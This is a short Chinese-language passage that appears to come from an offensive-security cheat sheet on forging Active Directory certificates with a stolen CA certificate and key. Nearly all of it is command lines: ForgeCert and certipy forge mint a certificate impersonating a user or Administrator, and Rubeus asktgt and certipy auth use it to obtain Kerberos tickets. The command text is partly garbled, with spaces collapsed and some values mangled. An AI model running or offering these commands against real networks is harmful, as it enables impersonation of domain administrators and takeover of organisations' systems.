在获取了以 .pfx 格式的 CA 证书及其私钥后,可以利用类似 ForgeCert 的工具生成有效证书:
# Generating a new certificate with ForgeCertForgeCert.exe--CaCertPathca.pfx--CaCertPasswordPassword123!--Subject"CN=User"--SubjectAltName[email protected]--NewCertPathlocaladmin.pfx--NewCertPasswordPassword123!# Generating a new certificate with certipycertipyforge-ca-pfxCORP-DC-CA.pfx-upn[email protected]-subject'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'# Authenticating using the new certificate with RubeusRubeus.exeasktgt/user:localdomain/certificate:C:\ForgeCert\localadmin.pfx/password:Password123!# Authenticating using the new certificate with certipycertipyauth-pfxadministrator_forged.pfx-dc-ip172.16.126.128